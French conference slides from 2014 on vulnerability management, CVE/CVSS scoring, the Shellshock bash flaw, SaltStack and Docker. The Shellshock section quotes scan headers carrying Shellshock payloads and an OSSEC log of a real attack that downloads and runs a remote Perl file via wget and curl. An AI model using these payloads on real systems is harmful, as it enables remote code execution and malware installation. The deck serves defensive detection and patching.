Upload
johanmoreau
View
233
Download
8
Embed Size (px)
DESCRIPTION
La gestion des vulnérabilités avec le cas d'usage Shellshock. Utilisation de SaltStack et de Docker dans ce contexte.
Citation preview
Gestion des vulnerabilites et configurationsCas particuliers appliques a ShellShock
J. Moreau/J.M. Misert
Clusir-Est
5 novembre 2014
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 1 / 50
Presentation Clusir-Est
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 2 / 50
Presentation Clusir-Est
L’association Clusir-Est
Une association loi 1901 a but non lucratif et non commercial.
Le but est de developper toute action propre a une meilleure approcheet maıtrise des risques du SI.
Le Clusir-Est n’est pas une ”sous-entite” du Clusif : L’associationmene des actions ”dans le respect du code d’ethique des metiers de lasecurite des SI defini par le Clusif”.
Les membres choisissent les themes a aborder (via echanges et/ousondages)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 3 / 50
Presentation Clusir-Est
Les autres Clusir
Les Clusirs travaillent avec le Clusif et echangent pour l’organisation.Participations a certains groupes de travail du Clusif.
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 4 / 50
Presentation Clusir-Est
Les journees Clusir-Est entre 2006 et 2009
Les journees d’echanges 2006 :
26/01/06 - Reunion de Lancement
30/03/06 - Charte & Cybersurveillance & C.I.L
28/06/06 - Analyse de risques et Pilotage
26/09/06 - Mobilite & Malware
06/12/06 - Plan de Continuite des Activites
Les manifestations 2006 :
13/04/06 - Panorama Cybercriminalite du CLUSIF
16/05/06 - Panorama Cybercriminalite du CLUSIF
Les journees d’echanges 2007 :
06/02/07 - Computer Forensics et Assemblee generale
27/03/07 - Certification Securite
21/06/07 - Audit de Securite
28/09/07 - Haute Disponibilite - Virtualisation
Les manifestations 2007 :
15/05/07 - Panorama Cybercriminalite du CLUSIF
Les journees d’echanges 2008 :
22/01/08 - Securite physique et Assemblee generale
27/05/08 - L’incident et la reponse juridique
02/10/08 - Ateliers thematiques
04/12/08 - La fuite d’information
Les manifestations 2008 :
15/05/08 - Panorama Cybercriminalite du CLUSIF
03/06/08 - Les routes de l’innovation
Les journees d’echanges 2009 :
05/02/09 - Assemblee generale, CIL et menaces
25/06/09 - Protection de l’environnement de travail
24/09/09 - Securite de l’entreprise etendue
15/12/09 - IT Gouvernance et SMSI
Les manifestations 2009 :
25/05/09 - Panorama Cybercriminalite du CLUSIF
26/11/09 - Forum du Rhin superieur sur les cybermenaces
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 5 / 50
Presentation Clusir-Est
Les journees Clusir-Est entre 2010 et 2013
Les journees d’echanges 2010 :
02/02/10 - Assemblee generale
Les manifestations 2010 :
01/03/10 - Panorama Cybercriminalite du CLUSIF
Les journees d’echanges 2011 :
22/02/11 - Assemblee generale
22/09/11 - Tables rondes
15/12/11 - Synthese sur les menaces et le managementSSI
Les manifestations 2011 :
19/04/11 - Panorama Cybercriminalite du CLUSIF
04/10/11 - Petit-dejeuner cybercriminalite
Les journees d’echanges 2012 :
02/02/12 - Assemblee generale
25/04/12 - Securite dans la virtualisation et le Cloud
14/06/12 - Visite du LHS et etat de l’art
06/10/12 - Les evolutions juridiques
04/12/12 - Mobilite/BYOD et evolutions des normes SSI
Les manifestations 2012 :
23/03/12 - La SSI au coeur de l’IE
19/06/12 - La securite des SI des PME
04/10/12 - IT Tour 2012
06/11/12 - Forum du Rhin superieur sur les cybermenaces
Les journees d’echanges 2013 :
07/02/13 - Assemblee generale
06/06/13 - La securite dans les projets IT
26/09/13 - Controler le niveau de securite de son SI
05/12/13 - Sensibilisation et formation a la SSI
Les manifestations 2013 :
18/04/13 - Panorama Cybercriminalite du CLUSIF
30/05/13 - Panorama Cybercriminalite du CLUSIF
10/10/13 - IT Tour 2013
24/10/13 - De le cybercriminalite aux pratiques de securite
28/11/13 - COGITO 2013J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 6 / 50
Presentation Clusir-Est
Logisitique d’accueil et moyens de communications
Pour la logistique :
Les membres sont solicites pour heberger une journee (pas delocation).
Pour la communication et les echanges :
Site Web : http://clusir-est.org
Le site possede une zone privee uniquement pour les membres
Groupe LinkedIn : Clusir-Est
Twitter : @clusirest
Google agenda
Mail : contact sur clusir-est.org
Liste de diffusion : 1 pour le bureau, 1 pour les membres
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 7 / 50
Presentation Clusir-Est
Adhesion au Clusir-Est
Les modalites :
L’association est a but non lucratif.
Les seuls moyens financiers proviennent des cotisations versees par sesadherents
Adhesion :
100 euros annuellement (quelle que soit la periode de l’annee)reduction de 50% accordee pour le 2eme (et suivant) adherent d’unesociete deja adherenteles membres du bureau payent leur cotisation
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 8 / 50
Presentation Clusir-Est
Membres du Clusir-Est
Bureau :
Jean-Marc Misert (Banque Postale) : President
Johan Moreau (IRCAD) : Vice-President
Eric Weis (Univ. de Lorraine) : Tresorier
Ludovic Merissonne (Cora Informatique) :Membre du bureau
Yannick Narbey (Vitalia) : Membre du bureau
Bruno Barge (Lohr) : Membre du bureau
Stephane Nagel (Haganis) : Membre du bureau
Nombre de membres :
2006 - 24
2007 - 33
2008 - 36
2009 - 34
2010 - 33
2011 - 22
2012 - 28
2013 - 30
2014 - 33
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 9 / 50
Attaques et vulnerabilites
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 10 / 50
Attaques et vulnerabilites
Principes generaux
Pour parler attaques et vulnerabilites il est necessaire de connaitre sonsysteme d’information (ISO 27001 1 )
EBIOS 2 ou ISO27005 vont aider sur l’analyse de risques
ISO27035 definit la gestion des incidents de securiteEvenement de securite :
Occurance identifiee de l’etat d’un service, d’un systeme ou d’un reseauindiquant une faille possible dans la PSSI ou un echec des mesures desecurite ou encore une situation inconnue et pouvant relever de lasecurite.
Incident de securite :
Un ou plusieurs evenements lies a la securite de l’informationindesirables ou inattendus presentant une probabilite forte decompromettre les activites de l’organisation et de menacer la securitede l’information.
1http://en.wikipedia.org/wiki/ISO/IEC_27000-series
2http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 11 / 50
Attaques et vulnerabilites
Principes generaux
Un ”vecteur d’attaque” va etre utilise sur votre SI
virus, ver, malware, faille, erreur humaine, ...
Une ”vulnerabilite ou evenement” va etre exploitee
faille reseau, os, applicative, base de donnees, humaine, ...
Un ”impact ou incident” va toucher un metier
disponibilite, integrite, confidentialite, ...
Cette presentation va discuter des vulnerabilites et impacts dans uncontext pro-actif (veille, CERT 3 , CSIRT, ...)
3http://fr.wikipedia.org/wiki/Computer_Emergency_Response_Team
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 12 / 50
Standards pour les vulnerabilites : CVE et CVSS
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 13 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVE : Common Vulnerability and Exposures
Gere par le MITRE 4
Dictionnaire pour le nommage des vulnerabilites (initie en 1999)
Structure du type CVE-AAAA-XXXX :
AAAA : annee/XXXX : id incrementalPar exemple : CVE-2014-7169
National Vulnerability Database (NVD) via le NIST 5
Declinaison specifique au Malware : CME 6
Qualite d’un SI (au regard des CVE) : OVAL 7
Le langage est reconnu, utilise dans de nombreux outils, par les CERT etdonc predominant pour la veille en SSI. Des extensions sont proposees.
4http://cve.mitre.org
5http://nvd.nist.org
6http://cme.mitre.org
7http://oval.mitre.org
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 14 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS : Common Vulnerability Scoring System
Gere par le FIRST 8
Systeme de notation (initie en 2005)
Algorithme public disponible sur le site du NIST 9
Permet d’evaluer la dangerosite d’une vulnerabilite
La note donnee varie de 0 a 10 et est basee sur :
score de basescore temporelscore environnemental
CVSS est maintenant largement employe par les constructeurs et editeurs.
8http://www.first.org/cvss
9http://nvd.nist.gov/cvsseq2.htm
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 15 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS : Calcul du score de base
Le score de base repose sur deux metriques
l’exploitabilite de la vulnerabilitel’impact que peut avoir l’exploitation de la vulnerabilite
Pour l’exploitabilite (facon d’exploiter) :
Le vecteur d’acces : la vulnerabilite peut etre exploitee depuis Internet,depuis un reseau adjacent, ou requiert un acces local ?La complexite d’acces : est-il simple, moderement complexe ou trescomplexe d’acceder au composant vulnerable ?Les pre-requis d’authentification : est-il possible d’acceder de faconanonyme au composant vulnerable pour exploiter la faille ? Ou y’a-t-ilun, ou plusieurs niveaux d’authentification ?
Pour l’impact :
L’impact sur la confidentialite : est-il complet, partiel ou inexistant ?L’impact sur la disponibilite : est-il complet, partiel ou inexistant ?L’impact sur l’integrite : est-il complet, partiel ou inexistant ?
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 16 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS : Ecriture du vecteur d’acces
Exemple : vulnerabilite sur serveur Web, donnant acces a des bannieresdetaillees, donnant des indications sur des versions de produits vulnerables :
AV :N/AC :L/Au :N /C :P/I :N/A :N
L’exploitabilite :
Vecteur d’acces : Internet (Access Vector : Network)
Complexite d’acces : Faible (Access Complexity : Low)
Authentification : Aucune (Authentication : None)
L’impact ne porte que sur la confidentialite et l’atteinte que partielle :
Impact sur la Confidentialite : Partiel (Confidentiality Impact : Partial)
Impact sur l’Integrite : Aucun (Integrity Impact : None)
Impact sur la Disponibilite : Aucun (Availability Impact : None)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 17 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS : calcul du score temporel et environnemental
3 criteres pour le score temporel :L’exploitabilite (facilite d’exploitation de la vulnerabilite) : existe-t-il un code publicpermettant d’exploiter la vulnerabilite, est-il fonctionnel, est-ce une PoC, a-t-on un doutesur son existence ?
L’existence de contre-mesures : sont-elles disponibles, n’existe-t-il que des solutionspalliatives, ou un correctif non-officiel ?
L’existence meme de la vulnerabilite : a-t-elle ete confirmee, ou n’a-t-on que dessoupcons ?
5 criteres pour le calcul du score environnemental :Le potentiel de dommage collateral lie a la vulnerabilite (Aucun, Faible, Faible a Moyen,
Moyen a Eleve, Eleve)
Le nombre de systemes vulnerables dans l’environnement cible (Aucun, Faible, Moyen,
Eleve)
Le niveau d’exigence en termes de confidentialite (Faible, Moyen, Eleve)
Le niveau d’exigence en termes d’integrite (Faible, Moyen, Eleve)
Le niveau d’exigence en termes de disponibilite (Faible, Moyen, Eleve)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 18 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS en conclusion
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 19 / 50
Standards pour les vulnerabilites : CVE et CVSS
CVSS : Outil en ligne 10
10http://nvd.nist.gov/cvss.cfm?calculator&version=2
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 20 / 50
Gestion des vulnerabilites a la Banque Postale
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 21 / 50
Gestion des vulnerabilites a la Banque Postale
Chapitre non diffuse
Chapitre non diffuse
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 22 / 50
Le cas de Shellshock
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 23 / 50
Le cas de Shellshock
Shellshock CVE et CVSS
La vulnerabilite Shellshock 11 a ete identifiee dans bash - 25/09/2014. Elleest exploitee dans la nature. Un attaquant distant pourrait l’exploiter afind’executer du code arbitraire :CVE-2014-[6271|6277|6278|7169|7186|7187]
Criticite : CVSS de base=10 - CVSS temporel=8,7 => PRIORITAIRE
11http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 24 / 50
Le cas de Shellshock
ShellShock est-ce grave ? 12 13
Attaques via les navigateurs :
Code Listing 1– Entete HTTP infectee par shellshock language
target = 0.0.0.0/0port = 80banners = truehttp−user−agent = shellshock−scan (http://blog.erratasec .com/2014/09/bash−shellshock
−scan−of−internet.html)http−header = Cookie:() { :; }; ping −c 3 209.126.230.74http−header = Host:() { :; }; ping −c 3 209.126.230.74http−header = Referer:() { :; }; ping −c 3 209.126.230.74
Mais aussi DHCPd, SMTPd, ...
12http://www.shellshock.fr/
13http://linuxfr.org/news/une-faille-nommee-shellshock
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 25 / 50
Le cas de Shellshock
Exemple de preuves de concept 14
14http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 26 / 50
Le cas de Shellshock
Attaque dans OSSEC
Code Listing 2– Trace d’attaque dans OSSEC
OSSEC HIDS Notification.2014 Nov 10 18:37:14
Received From: myserver−>/var/log/apache2/access.logRule: 31151 fired ( level 10) −> ”Mutiple web server 400 error codes from same source ip
. ”Portion of the log(s) :
193.x.y.z − − [1/Nov/2014:18:37:13 +0100] ”GET /cgi−bin/meme.cgi HTTP/1.1” 404 396”−” ”() { :;};/usr/bin/perl −e ’print \”Content−Type: text/plain\\r\\n\\r\\
nXSUCCESS!\”;system(\”wget www.freistilreisen.de/jack.jpg −O /tmp/jack.jpg;curl −O /tmp/jack.jpg www.freistilreisen.de/jack. jpg ; perl /tmp/jack.jpg;rm −rf /tmp/jack.jpg*\”) ;’ ”
193.x.y.z − − [1/Nov/2014:18:37:13 +0100] ”GET /cgi−bin/main.cgi HTTP/1.1” 404 397”−” ”() { :;};/usr/bin/perl −e ’print \”Content−Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget www.freistilreisen.de/jack.jpg −O /tmp/jack.jpg;curl −O /tmp/jack.jpg www. freistilreisen .de/jack. jpg ; perl /tmp/jack.jpg;rm −rf /tmp/jack.jpg*\”) ;’ ”
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 27 / 50
Gestion de configurations avec SaltStack
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 28 / 50
Gestion de configurations avec SaltStack
L’idee de SaltStack
Les objectifs :
Outils de gestion de configurations/orchestration
Un framework d’execution a distance
Un gestionnaire de configurations centralise
Un gestionnaire de machines virtuelles
Quelques exemples d’utilisation :
Installation d’une application
Configuration des imprimantes, des partages reseaux, ...
Lancer des commandes sur un ensemble de machines
Gerer des VM ou conteneurs (construire, lancer, arreter, ...)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 29 / 50
Gestion de configurations avec SaltStack
Pourquoi Salt ?
Nombreuses solutions/techniques :
Images disques (PXE, Ghost, ...)
Scripts maisons (Python, Bash, PowerShell, ...)
Logiciels de gestion de conf (CFEngine, Puppet, Chef, Ansible, ...)
Le choix de Salt :
Nouvelle generation d’outil (comparable a Ansible 15 16 17 18 )
Multiplateforme (Linux, OSX, Windows), installation simple 19
Choix technologique : YAML, jinja2, 0MQ, AES256, Python, ...
Communaute importante 20 et bonne documentation 21
15http://ryandlane.com/blog/2014/08/04/moving-away-from-puppet-saltstack-or-ansible/
16https://missingm.co/2013/06/ansible-and-salt-a-detailed-comparison/
17http://blog.xebia.fr/2014/07/18/test-driven-infrastructure-avec-chef-episode-2/
18http://jensrantil.github.io/salt-vs-ansible.html
19http://docs.saltstack.com/en/latest/topics/installation/ubuntu.html
20http://saltstarters.org
21http://docs.saltstack.com/en/latest/topics/tutorials/quickstart.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 30 / 50
Gestion de configurations avec SaltStack
Architecture
Mode de fonctionnement :
En solitaire (a titre perso, ca peut aider)
En client-serveur (en pull ou push) : maıtre/larbin (master/minion)
Le lexique :
Grain : proprietes d’un larbin (OS, RAM, ...)
Formule/Etat (state) : etats a appliquer dans un .sls en YAML
Pilier (pillar) : parametres a transmettre aux larbins
Les commandes :
Salt est concu pour executer des commandes a distance (modules ausens python) : test.ping (module test), cmd.run (module cmd)
Module important : state (gestion de configuration)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 31 / 50
Gestion de configurations avec SaltStack
Formules simples : installation d’un paquet 22
Code Listing 3– top.sls la racine des etats
base: # Master base configuration’*’: # all minion− apache # call apache state
Code Listing 4– apache.sls fichier decrivant l’etat apache
apache2: # Id, using like main parameter for this statepkg. installed # state to call : this pack must be installed
22http://docs.saltstack.com/en/latest/topics/tutorials/states_pt1.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 32 / 50
Gestion de configurations avec SaltStack
Formules simples : installation du paquet avec config. 23 24
Code Listing 5– apache.sls fichier decrivant l’etat apache avec fichier
apache2: # Id, using like main parameter for this statepkg:− installed # state to call : this pack must be installed
service :− running # check if running− watch: # reload if change− file : /etc/apache2/httpd.conf
/etc/apache2/httpd.conf:file .managed:− source: salt ://apache/httpd.conf # find the file on salt master− user: root− group: root− mode: 644− require :− pkg: apache2 # update this file only if apach2 is installed
23Le serveur Salt sert de serveur de fichier avec l’url ”salt ://”
24http://docs.saltstack.com/en/latest/topics/tutorials/states_pt2.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 33 / 50
Gestion de configurations avec SaltStack
Gestion des grains 25 26
Code Listing 6– Exemple d’executions distantes
# from master to specific minionsudo salt serveur .example.com cmd.run rebootsudo salt −G ’os:debian’ cmd.run apt−get update# from master to multiples minionsudo salt ’ serveur (01|02) .example.com’ state . sls apachesudo salt −−grain−pcre ’os:(debian|ubuntu)’ state . highstate# from minionsudo salt−call −l debug state . highstate
25Possibilite de tester avant execution en ajoutant test=True
26aide en ligne avec sys.doc, exemple : sudo salt-call sys.doc user
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 34 / 50
Gestion de configurations avec SaltStack
Pilier/Pillar
Utilite du pilier :
Decouplage etat et parametres : variations en fonction d’un OS, d’unedistribution, etc ...
Securite : les larbins ont acces a tous les etats, eviter d’y mettre desinformations confidentielles
Creation du pilier :
Meme syntaxe que les recettes et pillar.get() dans les formules
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 35 / 50
Gestion de configurations avec SaltStack
Pillier simple : communaute snmp
Code Listing 7– snmp.sls l’etat snmp
snmpd.conf:file :− name: /etc/snmp/snmpd.conf− source: salt ://nux/snmp/files/snmpd.conf− template: jinja− context: snmpcom: {{ pillar .get (’ snmpcom’, ’public ’) }}
Code Listing 8– le fichier de conf snmp
rocommunity {{ snmpcom }}
Code Listing 9– le fichier pillar
snmpcom: myCom
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 36 / 50
Gestion de configurations avec SaltStack
Gestion des cles et distribution
Sur le serveur :
salt-key -L
salt-key -a saltminion
Serveur distribue :
Comme pour nagios, il est possible de distribuer l’activite 27
27http://bencane.com/2014/02/04/saltstack-getting-redundancy-and-scalability-with-multiple-master-servers/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 37 / 50
Gestion de configurations avec SaltStack
Retour d’experience et ressources interessantes 29 30
Les +++ :
Prise en main assez rapide, homogeneise bien l’ensemble du parc
Dans la tendance DevOps, cloud prive, SDN 28, ...
A faire : deployer encore et encore, utilisation mixte avec R&D
A voir :
Modules maisons, preseeding pour reponses a debconf, ...
Gestion des outils de virtualisation (Esx, KVM, Proxmox, ...)
Gestion des outils de cloud public (Amazon, Google, ...)
Systeme graphique et de planification
28Software Defined Network29
https://mywushublog.com/2013/12/active-directory-authentication-with-salt/
30https://github.com/saltstack-formulas/ntp-formula/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 38 / 50
Gestion de configurations avec SaltStack
Retour d’experience et ressources interessantes
Quelques avertissements :
En raison de la conf. 0MQ, pas de certitudes sur l’execution
Le client tourne en mode root, attention les degats !
Quelques troubleshooting connus (outil encore jeune) 31
Debuggage pas toujours simple avec docker 32
31http://docs.saltstack.com/en/latest/topics/troubleshooting
32https://github.com/saltstack/salt/issues/12003
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 39 / 50
Gestion de configurations avec SaltStack
Et ShellShock alors ?
Code Listing 10– Sequence d’execution salt pour ShellShock
sudo salt −l debug −v −G ’kernel:Linux’ cmd.run ”env x=’() { :;}; echo bad’ bash −c ’echo good’ 2>&1 |grep ”
srv1 .domain : badsrv2 .domain : badsrv3 .domain : goodsrv4 .domain : badsrv5 .domain : good...> sudo salt −l debug −v −G ’kernel:Linux’ pkg. install bash refresh =True> sudo salt −l debug −v −G ’kernel:Linux’ cmd.run ”env x=’() { :;}; echo bad’ bash −
c ’echo good’ 2>&1 |grep ”srv1 .domain : goodsrv2 .domain : goodsrv3 .domain : goodsrv4 .domain : goodsrv5 .domain : good
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 40 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de configurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 41 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Un conteneur (jolie metaphore), c’est quoi ?
Les memes idees que la virtualisation, mais sans virtualisation :
Agnostique sur le contenu et le transporteur
Isolation et automatisation
En gros, un super chroot (ou un jails BSD plus sympa). Un des pointsforts de Solaris depuis plusieurs annees. Techno existante aussi chezGoogle depuis longtemps. Rien de neuf, mais pourtant ...
Docker :
Projet jeune 33 : 1er commit le 18/01/2013
Dans le top15 sur GitHub (13/02/2014 : 334 contributeurs)
Linux 64bits avec LXC (qui evolue beaucoup dans ce sens)
Simplifie fortement tout cela ...
33http://linuxfr.org/news/la-folie-docker
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 42 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Liaison avec le noyau Linux 34
Une belle evolution de Linux :
Mount namespace (Linux 2.4.19)
PID namespace (Linux 2.6.24) / plusieurs PID par process
Net namespace (Linux 2.6.19-2.6.24)
User namespace (Linux 2.6.23-3.8)
IPC namespace (Linux 2.6.19-2.6.30)
UTS namespace (Linux 2.6.19) / host et domain
cgroups : gerer la limitation de ressource
AUFS/BTRFS : FS par couche, mode union, copy on write
34https://github.com/sdouche/presentation-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 43 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Docker
Terminologie :
index : repertoire public (https ://index.docker.io/)
image : conteneur en lecture seule (snapshot)
conteneur : element manipulable
run : creer un conteneur (a partir d’une image)
Les points forts :
ecrit en go et installation simple 35
ligne de commande tres sympathique (docker help)
langage de description des images (avec notion de parent)
API pour pilotage et integration partielle dans OpenStack
Gui 36 , Orchestration, hebergement cloud, integration continue, OS
35http://docs.docker.com/installation/ubuntulinux/
36http://linuxfr.org/news/logiciels-pour-survivre-avec-docker
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 44 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Docker in the shell 37 38 39
Les principales commandes :
Code Listing 11– les commandes docker utiles
sudo /usr/bin/docker −d & # run the daemonsudo docker search ubuntu # give ubuntu images from public index ( official /trusted )sudo docker pull stackbrew/ubuntu # pull latest stackbrew/ubuntu imagessudo docker history stackbrew/ubuntu # view history for this imagessudo docker images # show local imagessudo docker run −i −t stackbrew/ubuntu /bin/bash # run this images / create containersudo docker run −t −i −link redis :db −name webapp ubuntu bash # link 2 containerssudo docker ps # show active containers (−a to show all containers )sudo docker logs myUbuntusudo docker attach myUbuntu # retake the hand on the containersudo docker run −d −p 8888:80 ubuntu # export 8888 on master
37http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-1/
38http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-2/
39http://sametmax.com/le-deploiement-par-conteneurs-avec-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 45 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Exemple du projet intranet
Intranet :
Utilisation de docker avec l’image dockerfile/nodejs 40 41(ameliorationa prevoir 42)Essai avec une image redis en plus, reste a discuter/imaginer
Code Listing 12– les commandes docker utiles avec boot2docker
boot2docker upboot2docker ssh ”mkdir test ; sudo mount −t vboxsf Documents test”boot2docker ssh ”sudo su −c ’ ulimit −n 16384 && /etc/init.d/docker restart ’ ”export DOCKER\ HOST=tcp://127.0.0.1:2375docker run −−link determined\ nobel:redis −p :3000:3000 −it −v /home/docker/test:/
media:rw −v /var/log:/opt/my/app/log:rw −−dns 192.168.201.150 −−dns192.168.201.140 −−rm dockerfile/nodejs
/media/annuaire/test.shssh −L 8080:127.0.0.1:3000 docker@localhost −p2022#### Annuaire accessible en 8080 !
40https://registry.hub.docker.com/u/dockerfile/nodejs/dockerfile
41http://dockerfile.github.io/#/nodejs
42http://thenewstack.io/examples-of-building-a-node-js-app-with-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 46 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Construire sa propre image 43
Docker propose un systeme de construction base sur des caches afind’optimiser la reconstruction (utile pour le processus de build/test)
Code Listing 13– Dockerfile
FROM debian:wheezyADD README.md /tmp/
Code Listing 14– Execution d’un build Docker
$ docker build −q −t readme .Sending build context to Docker daemon 3.584 kBSending build context to Docker daemonStep 0 : FROM debian:wheezy−−−> e8d37d9e3476
Step 1 : ADD README.md /tmp/−−−> 09eabce38f39
Removing intermediate container 3e44a3b6eabeSuccessfully built 09eabce38f39
43http://www.centurylinklabs.com/more-docker-image-cache-tips
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 47 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
L’interet pour la gestion des vulnerabilites ?
Si on a son magasin de dockerfile
Il est relativement simple de mettre a jour en cas de vulnerabilites
Interet pour les conteneurs qu’on peut redeployer
Interet pour les futurs conteneurs
Et tester tout cela ! ! !
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 48 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Retour d’experience et ressources interessantes
Les +++ :
Prise en main assez rapide
